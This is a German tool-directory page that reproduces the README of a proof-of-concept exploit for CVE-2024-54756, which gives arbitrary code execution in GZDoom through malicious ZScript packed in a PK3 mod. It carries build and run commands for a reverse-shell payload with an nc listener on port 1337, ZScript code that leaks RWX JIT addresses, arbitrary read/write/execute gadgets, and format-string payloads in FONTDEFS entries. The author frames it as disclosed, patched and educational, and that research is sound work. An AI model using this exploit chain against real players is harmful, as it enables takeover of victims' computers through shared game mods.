Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
GZDoom-Arbitrary-Code-Execution-via-ZScript-PoC — Proof of Concept für CVE-2024-54756, eine Sicherheitslücke, die ich in GZDooms ZScript-Scripting-Engine gefunden habe. | Kitploit
Tools/GitHubGitHub/chainmanner/gzdoom-arbitrary-code-execution-via-zscript-poc
SpeicherforensikSchwachstellenanalyseExploitationReverse EngineeringShellcodeLernen & BildungPayload-EntwicklungBinary-Exploitation

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
GitHub
chainmanner/gzdoom-arbitrary-code-execution-via-zscript-poc

GZDoom-Arbitrary-Code-Execution-via-ZScript-PoC

Proof of Concept für CVE-2024-54756, eine Sicherheitslücke, die ich in GZDooms ZScript-Scripting-Engine gefunden habe.

Repository anzeigen
123vor 1 JahrNoch nicht geprüft

GZDoom <= 4.13.1 Beliebige Codeausführung durch bösartiges ZScript

Ein Proof of Concept für eine Schwachstelle in der ZScript-Funktionalität von GZDoom (https://github.com/zdoom/gzdoom), die ich entdeckt habe. Ein Angreifer kann eine PK3-Datei mit einer bösartigen ZScript-Quelldatei teilen und Zugriff auf den PC des Opfers erlangen.

Vielen Dank an Rachael und Agent Ash vom GZDoom-Entwicklerteam für ihre schnellen Antworten sowie an sie und die anderen GZDoom-Entwickler für die rasche Behebung dieses Problems!

Betroffene Versionen

Bestätigt funktionierend für 4.13.0 und 4.13.1, und dies funktioniert wahrscheinlich auch für frühere Versionen. Seien Sie vorsichtig bei Personen, die Ihnen raten, auf Version 4.13.1 oder niedriger zu downgraden, um ihr WAD spielen zu können.

Dieser PoC funktioniert nur unter Linux, aber die Schwachstelle existiert wahrscheinlich auch unter Windows. Nicht getestet unter ZDoom oder LZDoom, aber die Schwachstelle könnte dort ebenfalls vorhanden sein.

Die Schwachstelle wurde den Entwicklern vor der Veröffentlichung dieses PoC gemeldet und sollte in Version 4.13.2 nicht mehr vorhanden sein. Nach meinem besten Wissen enthält diese Version keine praktisch bedeutsamen Änderungen.

Haftungsausschluss

Dieser PoC wurde zu Bildungszwecken erstellt und veröffentlicht, damit Entwickler von Spiel-/Skript-Engines verstehen, wie Schwachstellen entstehen können, und Spieler verstehen, wie ein bösartiger Spielmod aussehen kann. Ich übernehme keine Verantwortung oder Haftung für den Missbrauch dieses PoC. Bitte verwenden Sie dies nicht, um die PCs Ihrer Mitspieler zu kompromittieren; es ist illegal (das sollte ich Ihnen nicht sagen müssen), und es ist besonders hinterhältig, den Computer eines anderen über ein Videospiel zu übernehmen.

Verwendung des PoC

Um diesen PoC zu verwenden, laden Sie dieses Repository herunter und erstellen Sie eine PK3-Datei (die eigentlich eine Zip-Datei mit der Erweiterung .pk3 ist), die zscript.zs und MAPINFO enthält:

root@kitploit:~
git clone https://github.com/Chainmanner/GZDoom-Arbitrary-Code-Execution-via-ZScript-PoC
cd GZDoom-Arbitrary-Code-Execution-via-ZScript-PoC
zip PoC.pk3 zscript.zs MAPINFO

Das Standard-Payload besteht darin, eine Reverse-Shell zu localhost auf Port 1337 zu starten. Starten Sie den Listener:

root@kitploit:~
nc -nvlp 1337

Führen Sie den PoC wie folgt aus:

root@kitploit:~
gzdoom -iwad <your-doom-or-freedoom-wad> -file PoC.pk3

Wenn es funktioniert hat, sollten Sie jetzt eine Reverse-Shell zu sich selbst haben.

Dieser PoC ist nur für Linux. Möglicherweise funktioniert er nicht beim ersten Versuch; versuchen Sie es einfach erneut, bis es klappt.

Erklärung

HINWEIS: Dies ist mein erster Exploit-Bericht und ich arbeite noch an meinen Fähigkeiten für Low-Level-Berichte. Außerdem habe ich einen Großteil meines Debuggings mit GDB durchgeführt, und leider hatte ich nicht die gute Idee, einige Speicherabbilder zu speichern, um meine Erklärung besser zu veranschaulichen. Tut mir leid! Mein nächster Bericht wird besser, versprochen.

GZDoom ist ein Doom-Source-Port, der für Leistung und Erweiterbarkeit entwickelt wurde. Dank seiner leistungsstarken Funktionen wurden viele großartige WADs, Mods und sogar kommerzielle Total Conversions erstellt. Leider bietet Komplexität auch Raum für Schwachstellen, und in diesem Fall gab es zwei in der ZScript-Scripting-Engine, die eine vollständige Exploit-Kette ermöglichten.

Dieser Angriff umgeht ASLR und umgeht die Notwendigkeit, Stack-Canaries zu überwinden. Ich glaube nicht, dass Clangs CFI oder Shadow Stacks hier geholfen hätten.

Schwachstellen

Die erste und wichtigste Schwachstelle betraf die Behandlung großer Arrays. Wenn Sie ein ausreichend kleines Array allozieren, wird der allozierte Speicherbereich in der Regel mit Nullen gefüllt und ist ordnungsgemäß von anderen Objekten getrennt; durch Lesen von nicht initialisiertem Speicher können keine Informationen gewonnen werden, und keine Objekte überschneiden sich mit dem Array. Wenn Sie jedoch ein großes Array allozieren – sagen wir, 1073741823 32-Bit-Wörter oder mehr – können Sie bis zu 4 GiB potenziell nicht initialisierten Speichers vom Startpunkt des Arrays lesen und schreiben, was es dem Angreifer ermöglicht, andere Objekte direkt zu modifizieren und ASLR zu umgehen, indem er Adressen mit bekannten Offsets findet. Darüber hinaus werden alle weiteren Arrays, die nach diesem Punkt erstellt werden, mit dem großen Array überlappen.

Die zweite Schwachstelle lag in den Speicherzuordnungsberechtigungen. Aus Leistungsgründen wird ZScript-Code nach Möglichkeit per JIT in x86- oder x86-64-Bytecode kompiliert. Dazu muss der Code in einen Speicherbereich geschrieben werden, und dieser Speicherbereich muss ausführbar sein. Allerdings besagt die W^X-Regel, dass ein Bereich entweder beschreibbar oder ausführbar sein sollte, aber nicht beides. Wenn beides gleichzeitig angewendet wird (anstatt den Bereich beschreibbar zu machen, den Code zu schreiben und dann den Bereich ausführbar und nicht beschreibbar zu machen), kann ein Angreifer mit einem beliebigen Schreib-Primitiv dies zu einer beliebigen Codeausführung eskalieren; er kann Shellcode schreiben und zu ihm springen, z.B. durch Modifikation der Rücksprungadresse auf dem Stack (unter der Annahme, dass der Angreifer kein beliebiges Ausführungs-Primitiv hat). Wenn Sie sich die Speicherzuordnungen von GZDoom während des Laufs ansehen, sehen Sie mehrere RWX-Bereiche:

root@kitploit:~
7fcd19700000-7fcd19800000 rwxp 00000000 00:00 0
7fcd1a100000-7fcd1a200000 rwxp 00000000 00:00 0
7fcd1eb00000-7fcd1ec00000 rwxp 00000000 00:00 0

Wenn also beliebige Schreib- und beliebige Ausführungs-Primitive verfügbar sind und der Angreifer weiß, wo sich ein RWX-Bereich befindet, kann er beliebigen Shellcode schreiben und ausführen. Diese Bereiche beim Schreiben des JIT-kompilierten Codes als RW- und dann beim Ausführen als R-X zu kennzeichnen, würde diesen PoC stoppen, aber es würde einen Angreifer nicht daran hindern, Codeausführung zu erlangen, z.B. durch Modifikation von Daten auf dem Stack (ROP) oder Heap.

Gadgets

Zusätzlich gibt es ein nützliches Gadget. Erinnern Sie sich daran, dass beim Allozieren eines großen Arrays alle weiteren Arrays, die danach erstellt werden, überlappen? Das schließt Arrays von Objektzeigern ein. Ähnlich wie C++-Objekte können ZScript-Objekte Variablen und Funktionszeiger enthalten. Angenommen, wir haben dieses Objekt:

root@kitploit:~
class WeirdObject
{
        uint one;
        uint two;
        uint three;
        uint four;
        Function<clearscope void()> funcptr;
}

Wenn wir ein Array erstellen, das einen Zeiger auf eine WeirdObject-Instanz enthält, dann kann der Angreifer den Zeiger mit dem großen Array an jede beliebige Stelle ändern und die gezeigten Daten durch Zugriff auf die Felder des Objekts ändern, was uns ein beliebiges Lese-/Schreib-Primitiv über den Heap hinaus ermöglicht. Zeiger in ZScript werden überprüft, um sicherzustellen, dass sie nicht null sind, aber nicht, um sicherzustellen, dass sie sinnvoll sind.

Das Vorhandensein eines Funktionszeigers gibt uns auch ein beliebiges Ausführungs-Primitiv; dies ist jedoch etwas weniger geradlinig und erfordert die Erstellung einer gefälschten VMFunction, um die virtuelle Maschine zufriedenzustellen. Sobald ein Aufruf einer ZScript-Funktion in den Exploit-Code eingeführt wird, wird dieser Code nicht mehr JIT-kompiliert. Funktioniert trotzdem, aber das Debuggen und Ausnutzen wird etwas umständlicher. Es könnte einen besseren Weg für diesen Teil geben, aber ich habe die GZDoom-Interna nicht gut genug studiert, um ihn zu kennen.

Eine Sache zu beachten: WeirdObject hat geerbte Membervariablen, daher beginnt das erste Member bei Offset 0x28.

Exploit

Jetzt haben wir die folgenden Werkzeuge:

  • Beliebiges Lesen/Schreiben für einen großen Heap-Bereich
  • Beliebiges Lesen/Schreiben/Ausführen über den Heap hinaus
  • RWX-Bereiche

Wie verketten wir sie zu einem Exploit?

Zuerst müssen wir, da ASLR aktiviert ist, identifizieren, wo sich ein RWX-Bereich befindet. Jeder reicht. Der Teil des Heaps, der dem großen Array zur Verfügung steht, enthält Adressen, die auf Funktionen innerhalb eines RWX-Bereichs verweisen, aber auch Adressen, die auf andere Bereiche verweisen; wie unterscheiden wir? Denken Sie daran, dass ASLR unter Linux 28 Bit Entropie hat (manchmal weniger!), was bedeutet, dass, obwohl Bits der Maske 0x7fffffe00000 in einer Adresse zufällig sind, die Bits 0x0000001fffff statisch sind. Nehmen wir also bei deaktiviertem ASLR an, wir haben die folgenden RWX-Bereiche:

root@kitploit:~
[0x7ffff2f00000, 0x7ffff3000000)
[0x7ffff3900000, 0x7ffff3a00000)
[0x7ffff4300000, 0x7ffff4400000)

Dann können wir den folgenden ZScript-Code verwenden, um Zeiger auf JIT-kompilierte ZScript-Funktionen innerhalb der RWX-Bereiche auszugeben:

root@kitploit:~
uint u32pBFA9000[1073741823];
uint u32RWX_L;
uint u32RWX_H;

for (i = 0; i < (1073741823 / 2); i += 2)
{
	u32RWX_L = u32pBFA9000[i];
	u32RWX_H = u32pBFA9000[i+1];

	if ((u32RWX_H & 0xffff8000) == 0)
	{
		if ((u32RWX_L & 0xffe00000) == 0xf2e00000)
		{
			Console.Printf("0x%x%08x", u32RWX_H, u32RWX_L);
		}
		if ((u32RWX_L & 0xffe00000) == 0xf3800000)
		{
			Console.Printf("0x%x%08x", u32RWX_H, u32RWX_L);
		}
		if ((u32RWX_L & 0xffe00000) == 0xf4200000)
		{
			Console.Printf("0x%x%08x", u32RWX_H, u32RWX_L);
		}
	}
}

Erhalten Sie die Offsets, indem Sie die ausgegebenen Ergebnisse mit 0x1fffff AND-verknüpfen, und Sie können diese Offsets verwenden, um Zeiger auf RWX-Bereiche zu identifizieren. Je mehr Offsets Sie kennen, desto größer sind die Erfolgschancen des Exploits.

Als Nächstes müssen wir das beliebige Ausführungs-Primitiv vorbereiten. Das tun wir, indem wir den Funktionszeiger in einem Gadget-Objekt, wie dem oben deklarierten WeirdObject, mit einem beliebigen Schreib-Primitiv modifizieren. Nachdem u32pBFA9000 deklariert ist, beginnen Sie mit der Erstellung der Gadget-Objekte für beliebiges Schreiben und Ausführen:

root@kitploit:~
WeirdObject ppGadgetObjects[2];
ppGadgetObjects[0] = New("WeirdObject");        // Arbitrary write pointer.
ppGadgetObjects[1] = New("WeirdObject");        // Arbitrary execute object.

ppGadgetObjects überlappt mit u32pBFA9000 direkt am Anfang, und denken Sie daran, dass die WeirdObject-spezifischen Member bei Offset 0x28 beginnen. Das beliebige Schreib-Primitiv sieht wie folgt aus, wobei TARGET_ADDR die Zielschreibadresse ist, QWORD die zu schreibende 64-Bit-Ganzzahl ist und _H/_L die oberen bzw. unteren 32 Bits einer 64-Bit-Ganzzahl angeben:

root@kitploit:~
u32pBFA9000[0] = (TARGET_ADDR_L-0x28);
u32pBFA9000[1] = TARGET_ADDR_H;
ppGadgetObjects[0].one = QWORD_L;
ppGadgetObjects[0].two = QWORD_H;

Ich gebe zu, dass ich nicht genug darüber weiß, wie ZScripts Funktionszeiger funktionieren, und diesen Teil finde ich immer noch schwer zu erklären, aber ich werde mein Bestes geben, es trotzdem zu erklären. Tut mir leid, wenn ich Sie weiter verwirre.

  • Bei Offset 0x38 des Ausführungs-Gadget-WeirdObject-Funktionszeigerziels befindet sich ein Zeiger auf eine Klasse/Struktur, die ich nicht identifizieren konnte.
  • Bei Offset 0x8 dieser nicht identifizierten Klasse/Struktur befindet sich ein Zeiger auf eine VMFunction.
  • Bei Offset 0xc der VMFunction befindet sich das 32-Bit-Member VarFlags. Wenn es auf Null gesetzt wird, ergibt sich ein kürzerer Weg zum Aufruf des Shellcodes.
  • Bei Offset 0x58 der VMFunction befindet sich der tatsächliche Zeiger auf die aufzurufende Funktion.

Ich sollte wirklich ein Diagramm dazu erstellen, aber im Moment habe ich keine Lust auf ASCII-Kunst. Siehe den Exploit-Quellcode, um zu sehen, wie das Obige aussieht.

Sobald das Obige geklärt ist, können wir dann den Funktionszeiger im Gadget-Objekt modifizieren. Wenn wir ihn aufrufen, wird unser Shellcode ausgeführt, sobald er geschrieben ist.

Der letzte Schritt ist das Schreiben des Shellcodes selbst. Da dieser PoC einen Shell-Befehl aufruft, müssen auch einige Zeichenfolgen ("/bin/bash", "-c", die Befehlszeichenfolge) geschrieben werden. Dieser Teil kann einfach oder schwierig sein, je nachdem, was Sie ausführen möchten.

Wenn all das erledigt ist, rufen Sie die Funktion auf, auf die das Ausführungs-Gadget-WeirdObject zeigt, und Sie haben nun Ihren eigenen Shellcode ausgeführt.

Anmerkungen zu weiteren potenziellen Schwachstellen

Ich habe einige zusätzliche Schwachstellen gefunden, aber keinen Weg gefunden, sie auszunutzen und eine vollständige ACE-Kette zu erstellen. Die strcpy()-Stacküberlauf-Schwachstelle wurde in Version 4.13.2 behoben. Die mysnprintf()-Formatstring-Schwachstelle wurde bisher nicht behoben, aber viel Glück, wenn Sie versuchen, sie auszunutzen.

Formatstring-Schwachstelle

Es gibt eine Formatstring-Schwachstelle (eigentlich zwei) im FFont-Konstruktor in common/fonts/font.cpp:

root@kitploit:~
[...]
if (nametemplate != nullptr)
{
	if (!iwadonly)
	{
		for (i = 0; i < lcount; i++)
		{
			int position = lfirst + i;
			mysnprintf(buffer, countof(buffer), nametemplate, i + start);

			lump = TexMan.CheckForTexture(buffer, ETextureType::MiscPatch);
			[...]
		}
	}
	else
	{
		FGameTexture *texs[256] = {};
		if (lcount > 256 - start) lcount = 256 - start;
		for (i = 0; i < lcount; i++)
		{
			TArray<FTextureID> array;
			mysnprintf(buffer, countof(buffer), nametemplate, i + start);

			TexMan.ListTextures(buffer, array, true);
			[...]
		}
		[...]
	}
	[...]
}
[...]

Das TEMPLATE-Argument aus einem Eintrag im FONTDEFS-Lump wird direkt an mysnprintf() übergeben. Das bedeutet, dass man einen Eintrag wie diesen haben kann, der versucht, eine Schriftart basierend auf Stack-Variablen zu laden:

root@kitploit:~
EVILFONT
{
	TEMPLATE LOL%hhx
}

Oder einen Eintrag, der die Anzahl der geschriebenen Zeichen irgendwo auf den Stack schreibt und einen Absturz verursacht:

root@kitploit:~
EVILFONT
{
        TEMPLATE ----AAAAAAAA%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%n
}

Die Tatsache, dass die Ausgabe begrenzt ist, spielt keine Rolle; die Prozentzeichen werden unabhängig von der maximalen Länge analysiert.

mysnprintf() ist eine benutzerdefinierte, Public-Domain-Implementierung von snprintf(), die auf Kosten der Flexibilität auf Leistung ausgelegt ist. Die Ausnutzung ist viel schwieriger als bei der Standardimplementierung von libc. Zum Beispiel können Sie mit %n nur 32-Bit-Wörter schreiben und Sie können keine bestimmten Stack-Elemente mit %<num>$n schreiben.

strcpy()-Stack-Überlauf (Stack Smashing)

Es gibt auch einen riskanten Aufruf von strcpy() in LevelStatEntry() in gamedata/statistics.cpp, dessen Quelle länger sein kann als das Ziel. Die Funktion:

root@kitploit:~
static void LevelStatEntry(FSessionStatistics *es, const char *level, const char *text, int playtime)
{
	FLevelStatistics s;
	time_t clock;
	struct tm *lt;

	time (&clock);
	lt = localtime (&clock);

	strcpy(s.name, level);
	strcpy(s.info, text);
	s.timeneeded=playtime;
	es->levelstats.Push(s);
}

Die FLevelStatistics-Struktur, die auf dem Stack alloziiert wird, sieht wie folgt aus:

root@kitploit:~
struct FLevelStatistics
{
	char info[60];
	short skill;
	short playerclass;
	char name[24];
	int timeneeded;
};

Und LevelStatEntry() wird wie folgt aufgerufen, wobei LevelData.Levelname – welches vom Typ std::string ist – als Argument verwendet wird:

root@kitploit:~
[...]
for(unsigned i = 0; i < LevelData.Size(); i++)
{
	FString lsection = LevelData[i].Levelname;
	^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
	lsection.ToUpper();
	infostring.Format("%4d/%4d, %4d/%4d, %3d/%3d",
		 LevelData[i].killcount, LevelData[i].totalkills, LevelData[i].itemcount, LevelData[i].totalitems, LevelData[i].secretcount, LevelData[i].totalsecrets);

	LevelStatEntry(es, lsection.GetChars(), infostring.GetChars(), LevelData[i].leveltime);
			   ^^^^^^^^^^^^^^^^^^^
}
SaveStatistics(statfile, EpisodeStatistics);
[...]

Es gibt eine ganze Kette weiterer Aufrufe, die erforderlich sind, um zu diesem Punkt zu gelangen, beginnend mit FLevelLocals::ChangeLevel() in g_level.cpp, aber ich werde sie hier nicht zeigen. Ich möchte sagen, dass es entlang der Ausführungskette, um hierher zu gelangen, keine Überprüfungen oder Begrenzungen hinsichtlich der Länge von LevelData.Levelname gibt.

Auf einem modernen System sollte dies nicht ausnutzbar sein; Stack-Canaries werden alle Stack-Smashing-Versuche im Keim ersticken, und ASLR verhindert, dass der Benutzer weiß, wohin er zurückkehren soll. Außerdem erhalten Sie nur ein Gadget: das Überschreiben der Rücksprungadresse beim Verlassen von LevelStatEntry(). Auf älteren Systemen sind diese Abwehrmechanismen jedoch möglicherweise nicht verfügbar, und vielleicht liefert JIT-komplierter ZScript-Code Gadgets zur Ausnutzung.

Tool herunterladen